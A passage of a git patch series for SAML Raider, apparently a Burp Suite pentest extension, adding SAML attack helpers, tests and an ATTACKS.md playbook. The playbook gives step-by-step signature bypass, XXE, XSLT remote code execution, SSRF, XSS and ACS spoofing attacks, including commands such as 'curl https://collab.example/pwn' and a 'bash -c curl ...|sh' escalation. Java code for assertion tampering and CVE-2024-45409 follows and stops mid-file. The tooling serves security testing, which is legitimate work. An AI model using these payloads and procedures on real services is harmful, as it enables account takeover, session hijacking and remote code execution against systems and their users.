wrapCheck.setFocusable(false); + wrapCheck.setToolTipText("Soft wrap long lines"); + wrapCheck.setSelected(softWrap); + wrapCheck.addActionListener(e -> { + softWrap = wrapCheck.isSelected(); + textPane.getParent().invalidate(); + textPane.revalidate(); + textPane.repaint(); + }); + + var rightPanel = new JPanel(new java.awt.FlowLayout(java.awt.FlowLayout.RIGHT, 4, 0)); + rightPanel.add(wrapCheck); + var searchBar = new JPanel(new BorderLayout(6, 0)); searchBar.setBorder(BorderFactory.createEmptyBorder(3, 6, 3, 6)); var searchLabel = new JLabel("Find:"); searchLabel.setFont(font.deriveFont(Font.PLAIN, 12f)); searchBar.add(searchLabel, BorderLayout.WEST); searchBar.add(searchField, BorderLayout.CENTER); - searchBar.add(searchStatus, BorderLayout.EAST); + + var eastPanel = new JPanel(new BorderLayout(4, 0)); + eastPanel.add(navPanel, BorderLayout.WEST); + eastPanel.add(rightPanel, BorderLayout.EAST); + searchBar.add(eastPanel, BorderLayout.EAST); + add(searchBar, BorderLayout.SOUTH); } From 37c3ce28035eb3c1d0fe60e4b19c55cef93bf0ff Mon Sep 17 00:00:00 2001 From: intrudir <24526564+intrudir@users.noreply.github.com> Date: Fri, 24 Apr 2026 14:54:34 -0400 Subject: [PATCH 20/27] Add SAML attack helpers, tests, and attack playbook Adds 15 new static attack helpers covering signature bypass (HMAC confusion, dupe-key confusion, digest tamper), pre-auth SSRF/RCE (KeyInfo SSRF, SigRef SSRF, encryption SSRF, XSLT payloads), value injection (comment/PI injection, XSS, issuer confusion), assertion manipulation (validity extension, status override, audience removal), request-side attacks (ACS spoof, metadata import), and CVE-2024-45409 (ruby-saml prepend-unsigned-assertion). Each helper has a dedicated JUnit test. Includes ATTACKS.md playbook with step-by-step instructions and workflow cookbooks for common pentest scenarios. Co-Authored-By: Claude Sonnet 4.6 --- doc/ATTACKS.md | 386 ++++++++++++++++++ src/main/java/helpers/ACSSpoof.java | 44 ++ .../java/helpers/AssertionManipulator.java | 109 +++++ src/main/java/helpers/CVE_2024_45409.java | 84 ++++ src/main/java/helpers/CommentInjection.java | 115 ++++++ src/main/java/helpers/DigestTamper.java | 62 +++ src/main/java/helpers/DupeKeyConfusion.java | 153 +++++++ src/main/java/helpers/EncryptionSSRF.java | 161 ++++++++ src/main/java/helpers/HMACConfusion.java | 129 ++++++ src/main/java/helpers/IssuerConfusion.java | 59 +++ src/main/java/helpers/KeyInfoSSRF.java | 68 +++ src/main/java/helpers/MetadataImport.java | 73 ++++ src/main/java/helpers/PIInjection.java | 91 +++++ src/main/java/helpers/ResponseXSS.java | 74 ++++ src/main/java/helpers/SignatureRefSSRF.java | 136 ++++++ src/main/java/helpers/XSLTPayloads.java | 97 +++++ src/test/java/helpers/ACSSpoofTest.java | 46 +++ .../helpers/AssertionManipulatorTest.java | 108 +++++ .../java/helpers/CVE_2024_45409_Test.java | 66 +++ src/test/java/helpers/DigestTamperTest.java | 77 ++++ .../java/helpers/DupeKeyConfusionTest.java | 155 +++++++ src/test/java/helpers/EncryptionSSRFTest.java | 201 +++++++++ src/test/java/helpers/HMACConfusionTest.java | 104 +++++ .../java/helpers/IssuerConfusionTest.java | 92 +++++ src/test/java/helpers/KeyInfoSSRFTest.java | 88 ++++ src/test/java/helpers/MetadataImportTest.java | 57 +++ src/test/java/helpers/PIInjectionTest.java | 76 ++++ src/test/java/helpers/PayloadSmokeTest.java | 177 ++++++++ src/test/java/helpers/ResponseXSSTest.java | 87 ++++ .../java/helpers/SignatureRefSSRFTest.java | 100 +++++ src/test/java/helpers/XSLTPayloadsTest.java | 38 ++ 31 files changed, 3313 insertions(+) create mode 100644 doc/ATTACKS.md create mode 100644 src/main/java/helpers/ACSSpoof.java create mode 100644 src/main/java/helpers/AssertionManipulator.java create mode 100644 src/main/java/helpers/CVE_2024_45409.java create mode 100644 src/main/java/helpers/CommentInjection.java create mode 100644 src/main/java/helpers/DigestTamper.java create mode 100644 src/main/java/helpers/DupeKeyConfusion.java create mode 100644 src/main/java/helpers/EncryptionSSRF.java create mode 100644 src/main/java/helpers/HMACConfusion.java create mode 100644 src/main/java/helpers/IssuerConfusion.java create mode 100644 src/main/java/helpers/KeyInfoSSRF.java create mode 100644 src/main/java/helpers/MetadataImport.java create mode 100644 src/main/java/helpers/PIInjection.java create mode 100644 src/main/java/helpers/ResponseXSS.java create mode 100644 src/main/java/helpers/SignatureRefSSRF.java create mode 100644 src/main/java/helpers/XSLTPayloads.java create mode 100644 src/test/java/helpers/ACSSpoofTest.java create mode 100644 src/test/java/helpers/AssertionManipulatorTest.java create mode 100644 src/test/java/helpers/CVE_2024_45409_Test.java create mode 100644 src/test/java/helpers/DigestTamperTest.java create mode 100644 src/test/java/helpers/DupeKeyConfusionTest.java create mode 100644 src/test/java/helpers/EncryptionSSRFTest.java create mode 100644 src/test/java/helpers/HMACConfusionTest.java create mode 100644 src/test/java/helpers/IssuerConfusionTest.java create mode 100644 src/test/java/helpers/KeyInfoSSRFTest.java create mode 100644 src/test/java/helpers/MetadataImportTest.java create mode 100644 src/test/java/helpers/PIInjectionTest.java create mode 100644 src/test/java/helpers/PayloadSmokeTest.java create mode 100644 src/test/java/helpers/ResponseXSSTest.java create mode 100644 src/test/java/helpers/SignatureRefSSRFTest.java create mode 100644 src/test/java/helpers/XSLTPayloadsTest.java diff --git a/doc/ATTACKS.md b/doc/ATTACKS.md new file mode 100644 index 0000000..7f57530 --- /dev/null +++ b/doc/ATTACKS.md @@ -0,0 +1,386 @@ +# SAML Raider — Attack Playbook + +How to perform every attack this extension implements, end-to-end. + +--- + +## Setup + +1. Build the fat JAR: `./gradlew build` → `build/libs/SAMLRaider-*-all.jar` +2. In Burp: **Extensions → Add → Java → Select file…** → pick the JAR +3. Proxy a SAML flow through Burp. When the extension detects a `SAMLRequest` / `SAMLResponse` parameter or a WSS/SOAP body, a **SAML Raider** tab appears in the request/response editor. +4. If you need a certificate for re-signing, open the **SAML Raider Certificates** top-level tab. + +**Tip — always do this first:** click **Store Certificate** on a captured signed response. That seeds the Certificates tab with the IdP's public cert, which you will clone for certificate-faking and Dupe-Key Confusion. + +**Signature staleness indicator:** after any attack the panel shows **⚠ Stale signature — forward as-is to test SP signature validation, or re-sign above**. Most attacks deliberately invalidate the signature so you can probe whether the SP actually checks it. If the SP rejects, re-sign with a cloned cert and retry (see Signing section). + +--- + +## Strategy — pick attacks in this order + +1. **Recon** — click through the captured response; read Issuer, Destination, Conditions, AudienceRestriction in the info panel. If you have a `/metadata` URL, use **Import Metadata** to grab IdP certs. +2. **Cheapest kills first** — Signature Exclusion (Remove Signatures), Digest Tamper, Signature Exclusion + Multi-Assertion CVEs. These expose "sig-never-validated" misconfigs in seconds. +3. **Pre-auth parser attacks** — XXE, XSLT, SSRF variants. They fire *before* signature validation on many SPs, so they don't need a valid sig. +4. **Encrypted assertion attacks** — if you see ``, head straight to Encryption SSRF. +5. **XSW family** — if the SP validates signatures, try XSW1–8 before moving to CVE payloads. +6. **Library-specific CVEs** — ruby-saml / crewjam / libxml2 stacks each have distinct payloads. +7. **Advanced signature attacks** — HMAC Confusion, Dupe Key Confusion. These need the original cert captured and some re-signing. +8. **Federation / multi-tenant** — Issuer Confusion, ACS Spoof, NameID tricks (comment/PI injection, XSS). + +--- + +## Message row + +### Reset Message +Restores the captured SAML message to its original state. Use between attacks so transforms don't stack accidentally. + +### Format XML +Pretty-prints the XML. Cosmetic only — does not mutate the message. + +--- + +## XSW — XML Signature Wrapping (rows: XSW) + +**Target:** Signed Response *or* signed Assertion. **Prereq:** the message has a ``. + +**Mechanism:** all 8 XSW variants exploit the gap between "what the signature verifier sees" (the signed, inner copy of the assertion) and "what the business logic consumes" (an attacker-inserted evil copy in a different location of the DOM). Different variants move the signed node to different hiding spots — ``, ``, as a sibling before/after, etc. + +### XSW1–8 +**Steps:** +1. Pick a variant from the dropdown (start with **XSW3** — highest hit rate). +2. **Preview in Browser...** — opens a diff view so you see exactly what changed. +3. **Apply XSW** — mutates the message. +4. Forward to SP. If SP processes the evil assertion as authentic, you'll see a session granted under the attacker's identity. +5. If XSW3 fails, walk through XSW1, 2, 4, 5, 6, 7, 8 in order — each corresponds to a different SP quirk (e.g., XSW7 hides in Extensions, XSW8 in Object). + +**Oracle:** successful login / session cookie under the attacker's NameID. + +### Match and Replace +Adds string-level rewrites applied *after* the XSW transform. Use this to swap the NameID in the evil assertion for the target user. Order matters — click **Match and Replace** → add `` → `` → then **Apply XSW**. + +--- + +## CVE row — library-specific payloads + +### CVE-2022-41912 (crewjam/saml, Go) +Appends an unsigned evil Assertion *after* the signed one. Vulnerable libraries only validate the first Assertion but process the last. +**Steps:** pick CVE-2022-41912 → **Apply CVE** → forward. +**Oracle:** login as the NameID in the appended evil assertion. + +### CVE-2024-45409 (ruby-saml < 1.17.0) +Prepends an unsigned evil Assertion *before* the signed one. Ruby-saml's XPath iteration returns the first match. +**Steps:** pick CVE-2024-45409 → **Apply CVE** → forward. +**Oracle:** same as above but prepended. + +### CVE-2025-23369 (GitHub Enterprise / libxml2) +Exploits libxml2's entity-ID redefinition quirk to make the `#id123` reference resolve to attacker-controlled DOM. +**Steps:** pick CVE-2025-23369 → **Apply CVE** → forward. +**Oracle:** signature validates against one element while the SP consumes another. + +### CVE-2025-25291 / CVE-2025-25292 (ruby-saml parser differential) +DOCTYPE- and namespace-based parser-differential attacks — Nokogiri's DOM differs from REXML's, so the signed node and the consumed node diverge. +**Steps:** pick one → **Apply CVE** → forward. +**Oracle:** session granted under an identity that's in the attacker-visible DOM but not the signature-verified DOM. + +**Help button:** click **?** next to the CVE dropdown for a full description of the selected CVE, including affected library versions and references. + +--- + +## XML row — parser / signature-layer attacks + +### Test XXE +**Target:** any SAML response. **Prereq:** SP's XML parser resolves external entities (many production parsers still do — especially older .NET and Java stacks). + +**Steps:** +1. Click **Test XXE** → dialog opens. +2. **Burp Pro:** check **Use Burp Collaborator** (default). +3. **Community edition:** uncheck it and enter a custom OOB domain (`https://yourhost.example`). +4. Click OK → payload inserted at the top of the SAML XML. +5. Forward. Watch your Collaborator / OOB listener for inbound HTTP/DNS from the SP. + +**Oracle:** inbound Collaborator hit = SP's XML parser is resolving external entities → probe further for file read / SSRF. + +### Test XSLT +**Target:** signed message with `` in the Reference (any enveloped XML signature has this). + +**Three flavors in the dialog:** + +#### Saxon `unparsed-text` (blind SSRF via XSLT 2.0) +Use against Saxon-backed XSLT 2.0 engines. Exfiltrates `/etc/passwd` via URL. +**Steps:** pick flavor → supply Collaborator URL → OK. Forward the message. Inbound Collaborator request tells you XSLT processed + what the URL encoded in. + +#### Xalan `Runtime.exec` (Java RCE, xmlsec ≤ 1.4.1) +Use against older Java Santuario / ManageEngine ServiceDesk (CVE-2022-47966). +**Steps:** pick flavor. Field label flips to **Shell command:**. Enter the command you want executed, e.g. `curl https://collab.example/pwn`. OK. Forward. + +**Oracle:** inbound Collaborator hit = RCE. (The XSLT response body may contain `java.lang.UNIXProcess@...` — that also confirms exec succeeded.) + +#### Xalan DocumentHandler class instantiation (CVE-2014-0107) +Bypass of Xalan 2.7.2's secure-processing flag via `xalan:content-handler="com.sun.beans.decoder.DocumentHandler"`. Use against SPs that upgraded xmlsec but kept an old Xalan. +**Steps:** pick flavor → enter OOB URL (used by `xalan:entities`) → OK. Forward. Collaborator hit confirms class instantiation. + +### KeyInfo SSRF +**Target:** signed message with ``. **Prereq:** SP dereferences URIs in KeyInfo during validation (CVE-2021-40690 Santuario variants). + +**Steps:** +1. Click **KeyInfo SSRF** → OOB dialog. +2. Supply Collaborator URL or custom domain. +3. OK. The `` inside `` is replaced with ``. +4. Forward. + +**Oracle:** Collaborator hit = SP is fetching keys from attacker-controlled URLs during sig processing. This can be escalated to trust-override if you serve a fake cert at that URL. + +### SigRef SSRF (three modes in the dropdown) + +#### REFERENCE_URI +Swaps the `` attribute with an external URL. SP fetches that URL to compute the digest. +**Steps:** pick mode → click button → supply Collaborator URL → OK. +**Oracle:** inbound HTTP = direct SSRF primitive (can be `file://` too, depending on stack). + +#### XPATH_DOCUMENT +Injects a `` containing `document('https://collab.example/')` *before* the existing c14n transform. Santuario versions without SecureValidation resolve XPath `document()`. +**Steps:** same as above. +**Oracle:** inbound hit = XPath SSRF primitive; can fetch attacker-controlled XML (e.g. to prep CVE-2014-0107 class instantiation). + +#### BASE64_XXE +Prepends a Base64 transform whose decoded content is an XXE-laden XML document referencing the collaborator URL. Targets .NET CVE-2022-34716 — the XML signature code base64-decodes the transform input and re-parses it through a permissive XML reader. +**Steps:** pick mode → Collaborator URL → OK. +**Oracle:** inbound hit = .NET XML signature XXE confirmed. + +--- + +## Inject row — value-level payload injection + +### Comment Injection (CommentInjection) +Inject `` into the `NameID` text. Exclusive C14N strips comments *before* digest computation, so the signature stays valid while naive text extraction on the SP returns a truncated email. Covers Duo CVE-2017-11427/28/29/30. + +**Position dropdown:** +- **Before @** — `admin@victim.com` — parser returns `admin`, enabling account takeover if the SP treats `admin` as a user ID. +- **After @** — `admin@victim.com` — parser returns `admin@`. +- **Prepend** — `admin@victim.com` — parser returns empty / anonymous. +- **Append** — least effective; included for completeness. + +**Steps:** pick position → **Inject Comment** → forward. +**Oracle:** login as a different user than what's in the full NameID — often logs in as the admin of another tenant. + +### PI Injection (PIInjection) +Same attack surface as Comment Injection but uses `` processing instructions instead of comments. Some parsers strip PIs differently from comments — the two variants catch different stacks. + +**Steps:** same as Comment Injection but use the second dropdown + **Inject PI**. + +### HMAC Confusion +Swaps `` to `hmac-sha256` and recomputes the HMAC using the SubjectPublicKeyInfo DER of the embedded cert as the HMAC key. If the SP doesn't enforce a signature-algorithm allowlist, it verifies the HMAC using the same public cert bytes as the HMAC key — which the attacker already knows. Covers CVE-2019-1006 class. + +**Prereq:** message must embed an `` in KeyInfo (true for virtually every real-world signed response). + +**Steps:** **HMAC Confusion** button → forward. +**Oracle:** session granted despite no RSA signature. If rejected, the SP enforces algorithm pinning (good for them). + +### Inject XSS +Reflects an XSS payload into `Destination`, `Issuer`, `NameID`, or `Audience`. Vulnerable SPs render the field into error pages without HTML-escaping *before* signature validation runs. + +**Steps:** +1. **Inject XSS** → dialog opens. +2. Pick target field. +3. Default payload is `">`. Edit if needed. +4. OK. DOM writes the payload; the serializer XML-escapes attribute entities for well-formedness (`"`, `<`) — the SP is expected to un-escape for HTML rendering, which is where the XSS fires. +5. Forward. + +**Oracle:** XSS in the SP's error page (often `The assertion Destination "..." is invalid`). + +### Confuse Issuer +Mutate the Issuer text with invisible or near-invisible characters to bypass string-equality IdP lookup on multi-tenant SPs (HackerOne #976603 pattern). + +**Modes:** +- **Trailing space** (ASCII 0x20) +- **Trailing NBSP** (U+00A0) +- **Trailing ZWSP** (U+200B, zero-width) +- **Trailing Tab** (U+0009) +- **Homoglyph — Latin 'a' → Cyrillic 'а' (U+0430)** + +**Steps:** pick mode → **Confuse Issuer** → forward. +**Oracle:** SP accepts the response as coming from a different IdP than the one actually named in Issuer. Useful when the attacker controls an IdP at a lookalike name. + +--- + +## Manipulate row — assertion-level tampering + +### Extend Validity +24h +Sets `NotBefore` to *now − 1h* (absorbs clock skew) and pushes `NotOnOrAfter` / `SessionNotOnOrAfter` forward 24h. Tests whether the SP enforces the validity window at all. + +**Steps:** click **Extend Validity +24h** → forward (response is now stale-signed; see next). +**Typical combo:** apply Extend Validity, then re-sign with a cloned cert (see Signing). This replays a captured assertion beyond its natural expiry. + +### Status → Success +Replaces every `` with `urn:oasis:names:tc:SAML:2.0:status:Success`. Turns a failure response into a nominally-successful one. + +**Steps:** click → forward. +**Oracle:** SPs that key on StatusCode alone may start a session even though no valid assertion was present. + +### Remove Audience +Deletes every `` element. Tests whether the SP enforces audience matching. + +**Steps:** click → forward. +**Oracle:** SPs with missing audience checks accept assertions intended for any relying party — useful for cross-tenant / cross-SP replay. + +### Corrupt Digest +Flips the first base64 char of every `` but leaves `` and the `` structure intact. Distinct from Remove Signatures — tests the "signature is present but never validated" misconfig (common in internal enterprise SSO that was dev-enabled once and never re-verified). + +**Steps:** click → forward. +**Oracle:** session granted despite broken digest. Clean smoking gun for the report. + +--- + +## Encryption row — XML Encryption SSRF (for ``) + +Typical SP flow decrypts *before* signature verification, so these SSRF primitives fire pre-auth. + +### Enc SSRF (three modes) + +#### CIPHER_REFERENCE +Replaces the first `` (usually the wrapped session key inside ``) with ``. SP fetches the URL to get ciphertext. +**Steps:** pick mode → button → Collaborator URL → OK. Forward. +**Oracle:** inbound Collaborator hit *during* auth = pre-auth SSRF. + +#### DATA_REFERENCE +Injects `` into the first ``. +**Steps:** same as above. +**Oracle:** inbound hit = SP dereferences DataReference during key unwrap. + +#### ENCRYPTED_KEY_KEYINFO +Replaces the inner `` of the `` with `` pointing externally. SP fetches key material from the attacker during unwrap. +**Steps:** same as above. +**Oracle:** inbound hit = key-resolution SSRF; if combined with serving a fake wrapping key you may be able to forge the decrypted assertion. + +--- + +## Request row — AuthnRequest-side attacks + +### Spoof ACS URL (ACSSpoof) +**Target:** `` (`SAMLRequest` parameter). **Prereq:** IdP does not strictly enforce registered ACS URL. + +Rewrites `AssertionConsumerServiceURL` so the IdP delivers the SAMLResponse to attacker's server — leaks a valid signed assertion for the victim user. + +**Steps:** +1. Intercept the SP → IdP redirect that contains the SAMLRequest. +2. Open the SAML Raider tab. +3. **Spoof ACS URL** → supply Collaborator URL or attacker host. +4. Forward. Victim auths to IdP as normal; IdP posts the signed response to attacker. + +**Oracle:** attacker host receives a signed SAMLResponse for the victim's session. + +### Import Metadata +Fetch or paste SAML metadata XML; extracts every `` under `` and imports them into the Certificates tab. + +**Steps:** +1. **Import Metadata** → dialog opens. +2. Either enter a metadata URL (e.g. `https://idp.example.com/metadata`) and click **Fetch**, or paste XML into the text area. +3. OK. +4. Switch to the **SAML Raider Certificates** top-level tab — the imported cert is there. + +**Typical uses:** +- Cert-faking: clone the imported cert, self-sign with attacker key, re-sign assertions under the clone. +- Dupe-Key Confusion: needs the *original* cert bytes, which you get from here. + +--- + +## Signing row + +### Certificate dropdown +Select which certificate to sign with. Each cert with a private key is an option. Certs come from the Certificates tab — import, paste, or clone there first. + +### (Re-)Sign Assertion / (Re-)Sign Message +After any attack that invalidates the signature, re-sign with a controlled cert. +- **Re-Sign Assertion** — signs the first Assertion. +- **Re-Sign Message** — signs the whole Response. +Pick whichever the SP validates. + +**Typical combo:** +1. Capture original signed response → **Store Certificate** (seeds cert tab with IdP cert). +2. In Certificates tab, select that cert and **Clone Certificate** — generates a new cert with the same DN/issuer but an attacker-controlled private key. This defeats SPs that match the cert's subject / issuer strings instead of pinning the key. +3. Back in the SAML Raider tab, pick your cloned cert in the dropdown. +4. Apply any attack (XSW, Extend Validity, Remove Audience, etc.). +5. Click **(Re-)Sign Assertion**. +6. Forward. + +**Oracle:** session granted. If SP only looked at cert subject, cloned-cert re-sign wins. + +### Dupe Key Confusion +Black Hat 2019 .NET WIF / ADFS attack. Uses two different resolvers during signature processing — `ResolveSecurityKey` picks by key type (first match), `ResolveSecurityToken` picks by cert type. Plant attacker's RSAKeyValue first, original victim X509Certificate second. Signature verifies with attacker key; identity resolves to victim. + +**Prereq:** +- The original response was captured *and already loaded* in the SAML Raider tab — the extension remembers the original X509 bytes automatically. +- An attacker cert with private key is selected in the Signing dropdown. + +**Steps:** +1. Load the captured signed response into the SAML Raider tab. +2. In Certificates tab, ensure you have an attacker cert with a private key (create one via **Create Certificate** if needed). +3. Back in the SAML tab, select that attacker cert in the dropdown. +4. Click **Dupe Key Confusion**. + - Internally: re-signs the assertion with the attacker key, then rewrites KeyInfo — prepends attacker's `` and sets the `` back to the original victim cert. +5. Forward. The signature *is* valid (under attacker key), and identity resolution returns the victim cert. + +**Oracle:** session granted as any identity you want (you can combine with a prior Match-and-Replace on the NameID). + +### Remove Signatures +Drops every `` element. Tests whether SP accepts unsigned responses (buggy "no signature = skip verification" defaults). + +**Steps:** click → forward. +**Oracle:** session granted = sig check disabled. Report-worthy on its own. + +### Store Certificate +Grabs the first `` from the current SAML message and imports it into the Certificates tab. Use on a captured signed response to get the IdP's cert for cloning / Dupe-Key Confusion / metadata reference. + +--- + +## Workflow cookbooks + +### Sig-never-validated test (2 minutes) +1. **Corrupt Digest** → forward. If session: done. +2. **Remove Signatures** → forward. If session: done. +3. **HMAC Confusion** → forward. If session: algorithm not pinned. + +### Cross-tenant takeover (multi-tenant SP) +1. **Confuse Issuer → Trailing Space** → forward. +2. If login lands in victim tenant, report IdP-confusion bypass. +3. Else try **Homoglyph** variant. + +### NameID truncation +1. **Inject Comment → Before @**. +2. Forward. Log in as `admin` rather than `admin@victim.com`. +3. If blocked, try **Inject PI → Before @**. + +### Pre-auth RCE hunt (Java SP) +1. **Test XSLT → Xalan Runtime.exec**, command = `curl https://collab.example/rce`. +2. Forward. Collaborator hit = RCE. +3. Escalate command to `bash -c 'curl https://...|sh'`. + +### Encrypted-assertion pre-auth SSRF +1. **Enc SSRF → CIPHER_REFERENCE** + Collaborator URL → forward. +2. If no hit, try **ENCRYPTED_KEY_KEYINFO**. +3. Collaborator hit = SP decrypts attacker-controlled ciphertext pre-auth. + +### Victim session hijack via ACS +1. Intercept the SAMLRequest. +2. **Spoof ACS URL** → your server. +3. Forward. Victim auths; your server receives the signed SAMLResponse. +4. Replay it against the real SP ACS endpoint. + +### Cert-faking (original SAMLRaider workflow) +1. **Store Certificate** on captured response. +2. Certificates tab → select the stored cert → **Clone Certificate**. +3. Back to SAML tab → pick cloned cert in Signing dropdown. +4. Apply any mutation → **(Re-)Sign Message**. +5. Forward. If SP matches cert by subject/DN (not by pinned key), session granted. + +--- + +## Troubleshooting + +- **"This XML Message is not suitable for this particular XSW, is there a signature?"** — the response is unsigned. XSW needs a signature to wrap. Use Remove Signatures / Digest Tamper / Multi-Assertion CVEs instead. +- **"No X509Certificate found"** — the signed response embeds no cert (BYOC / pinned key). HMAC Confusion and Dupe Key Confusion won't work; try XSW or the CVE payloads. +- **"No Signature element found"** — the loaded message is not signed. Most Signing-row and SigRef-SSRF attacks need a sig. Load a signed message. +- **Stale signature warning won't clear** — click **Reset Message** or **(Re-)Sign Assertion**. +- **Collaborator unavailable** — you're on Community edition. Uncheck "Use Burp Collaborator" and supply your own OOB domain in the dialog. +- **Validity shifted but SP still rejects** — SP likely also validates the signature; re-sign after the Extend Validity click. diff --git a/src/main/java/helpers/ACSSpoof.java b/src/main/java/helpers/ACSSpoof.java new file mode 100644 index 0000000..76025eb --- /dev/null +++ b/src/main/java/helpers/ACSSpoof.java @@ -0,0 +1,44 @@ +package helpers; + +import org.w3c.dom.Document; +import org.w3c.dom.Element; +import org.w3c.dom.NodeList; +import org.xml.sax.SAXException; + +import java.io.IOException; + +/// Rewrites the AssertionConsumerServiceURL on an AuthnRequest so the IdP's +/// response is delivered to an attacker-controlled endpoint. +/// +/// Useful against IdPs that do not enforce an exact match against the SP's +/// registered ACS (e.g. substring or regex comparison, missing comparison, +/// or looser "allow any URL from same origin" logic). If the target IdP is +/// mis-configured, the resulting SAMLResponse lands at the attacker, leaking +/// a valid signed assertion for the victim user. +/// +/// Reference: https://web-in-security.blogspot.com/2015/04/on-security-of-saml-based-identity.html +public class ACSSpoof { + + public static String apply(String samlMessage, String attackerUrl) + throws SAXException, IOException { + if (attackerUrl == null || attackerUrl.isBlank()) { + throw new IllegalArgumentException("Attacker URL must not be empty."); + } + + XMLHelpers xmlHelpers = new XMLHelpers(); + Document document = xmlHelpers.getXMLDocumentOfSAMLMessage(samlMessage); + + NodeList requests = document.getElementsByTagNameNS("*", "AuthnRequest"); + if (requests.getLength() == 0) { + throw new IllegalArgumentException( + "No AuthnRequest element found — this helper only rewrites SAMLRequest messages."); + } + + Element authnRequest = (Element) requests.item(0); + authnRequest.setAttribute("AssertionConsumerServiceURL", attackerUrl); + + return xmlHelpers.getString(document); + } + + private ACSSpoof() {} +} diff --git a/src/main/java/helpers/AssertionManipulator.java b/src/main/java/helpers/AssertionManipulator.java new file mode 100644 index 0000000..0123270 --- /dev/null +++ b/src/main/java/helpers/AssertionManipulator.java @@ -0,0 +1,109 @@ +package helpers; + +import org.w3c.dom.Document; +import org.w3c.dom.Element; +import org.w3c.dom.Node; +import org.w3c.dom.NodeList; +import org.xml.sax.SAXException; + +import java.io.IOException; +import java.text.SimpleDateFormat; +import java.util.Date; +import java.util.TimeZone; + +/// Simple assertion-level manipulations for SAML security testing. +/// +/// These are standalone utility transforms — no CVE, no signature wrapping. +/// They expose conditions that many SP implementations fail to check: +/// - Accepting expired assertions (validity window not enforced) +/// - Processing error responses as if they succeeded (status ignored) +/// - Authenticating without audience restriction (any SP accepted) +public class AssertionManipulator { + + // --- Timestamp extension --- + + /// Extends all SAML validity timestamps by the given number of hours. + /// Sets NotBefore to now-1h (absorbs clock skew) and pushes NotOnOrAfter / + /// SessionNotOnOrAfter forward. IssueInstant is left unchanged. + /// + /// Useful for replaying captured assertions whose validity window has elapsed, + /// and for checking whether the SP enforces time-based conditions at all. + public static String extendValidity(String samlMessage, int hours) + throws SAXException, IOException { + XMLHelpers xmlHelpers = new XMLHelpers(); + Document document = xmlHelpers.getXMLDocumentOfSAMLMessage(samlMessage); + + long now = System.currentTimeMillis(); + String past = samlTime(now - 3_600_000L); // now - 1h + String future = samlTime(now + (long) hours * 3_600_000L); + + updateAttr(document, "NotBefore", past); + updateAttr(document, "NotOnOrAfter", future); + updateAttr(document, "SessionNotOnOrAfter", future); + + return xmlHelpers.getString(document); + } + + // --- Status code manipulation --- + + /// Replaces every StatusCode Value with the SAML 2.0 Success URI. + /// + /// Some SPs process assertions regardless of the top-level status code. + /// This turns an error or failure response into a nominal "success" response + /// so you can observe whether the SP checks the status before consuming the assertion. + public static String forceStatusSuccess(String samlMessage) + throws SAXException, IOException { + XMLHelpers xmlHelpers = new XMLHelpers(); + Document document = xmlHelpers.getXMLDocumentOfSAMLMessage(samlMessage); + + NodeList statusCodes = document.getElementsByTagNameNS("*", "StatusCode"); + for (int i = 0; i < statusCodes.getLength(); i++) { + ((Element) statusCodes.item(i)).setAttribute( + "Value", "urn:oasis:names:tc:SAML:2.0:status:Success"); + } + + return xmlHelpers.getString(document); + } + + // --- Audience restriction bypass --- + + /// Removes all AudienceRestriction elements from the Conditions block. + /// + /// A well-configured SP rejects assertions whose Audience does not match its + /// own entity ID. Removing the restriction tests whether the SP enforces this + /// check — many IdP-initiated SSO flows and older implementations do not. + public static String removeAudienceRestriction(String samlMessage) + throws SAXException, IOException { + XMLHelpers xmlHelpers = new XMLHelpers(); + Document document = xmlHelpers.getXMLDocumentOfSAMLMessage(samlMessage); + + NodeList restrictions = document.getElementsByTagNameNS("*", "AudienceRestriction"); + // Iterate in reverse to safely remove while the list is live. + for (int i = restrictions.getLength() - 1; i >= 0; i--) { + Node node = restrictions.item(i); + node.getParentNode().removeChild(node); + } + + return xmlHelpers.getString(document); + } + + // --- Helpers --- + + private static void updateAttr(Document document, String attrName, String value) { + NodeList all = document.getElementsByTagName("*"); + for (int i = 0; i < all.getLength(); i++) { + Element el = (Element) all.item(i); + if (el.hasAttribute(attrName)) { + el.setAttribute(attrName, value); + } + } + } + + private static String samlTime(long epochMillis) { + SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss.SSS'Z'"); + sdf.setTimeZone(TimeZone.getTimeZone("UTC")); + return sdf.format(new Date(epochMillis)); + } + + private AssertionManipulator() {} +} diff --git a/src/main/java/helpers/CVE_2024_45409.java b/src/main/java/helpers/CVE_2024_45409.java new file mode 100644 index 0000000..bc4dec7 --- /dev/null +++ b/src/main/java/helpers/CVE_2024_45409.java @@ -0,0 +1,84 @@ +package helpers; + +import org.w3c.dom.Document; +import org.w3c.dom.Element; +import org.w3c.dom.Node; +import org.w3c.dom.NodeList; +import org.xml.sax.SAXException; + +import java.io.IOException; + +/// Authentication bypass in ruby-saml < 1.17.0. +/// +/// ruby-saml validated that a signature existed somewhere in the Response but did +/// not enforce that the specific Assertion being consumed was itself covered by +/// that signature. An attacker who can intercept and modify a SAML response can +/// prepend an unsigned malicious Assertion before the legitimately-signed one. +/// ruby-saml < 1.17.0 processes the *first* Assertion it finds, so it returns +/// the attacker-controlled identity without ever verifying it. +/// +/// Key difference from CVE-2022-41912 (crewjam/saml): that CVE appends the evil +/// assertion *after* the signed one; this CVE prepends it *before*, targeting +/// ruby-saml's XPath evaluation order. +/// +/// Attack steps: +/// 1. Apply this payload to a valid signed SAMLResponse. +/// 2. Modify the prepended (unsigned) Assertion — change NameID or Attributes +/// to impersonate the target user. +/// 3. Forward to the SP. ruby-saml < 1.17.0 will authenticate as that user. +/// +/// Links: +/// * Advisory (GHSA-jw9c-mfg7-9rx2): https://github.com/advisories/GHSA-jw9c-mfg7-9rx2 +/// * CVE: https://nvd.nist.gov/vuln/detail/CVE-2024-45409 +/// * PortSwigger SAML research: https://portswigger.net/research/saml-roulette-the-hacker-always-wins +/// * ruby-saml fix (1.17.0): https://github.com/SAML-Toolkits/ruby-saml/releases/tag/v1.17.0 +public class CVE_2024_45409 { + + public static final String CVE = "CVE-2024-45409"; + + public static String apply(String samlMessage) throws SAXException, IOException { + XMLHelpers xmlHelpers = new XMLHelpers(); + Document document = xmlHelpers.getXMLDocumentOfSAMLMessage(samlMessage); + + Element response = (Element) document.getElementsByTagNameNS("*", "Response").item(0); + if (response == null) { + throw new IllegalArgumentException("No 'Response' element found."); + } + + Element originalAssertion = (Element) document.getElementsByTagNameNS("*", "Assertion").item(0); + if (originalAssertion == null) { + throw new IllegalArgumentException("No 'Assertion' element found."); + } + + // Clone the signed assertion to produce the malicious one. + Element evilAssertion = (Element) originalAssertion.cloneNode(true); + + // Give it a distinct ID so it does not collide with the signed assertion's 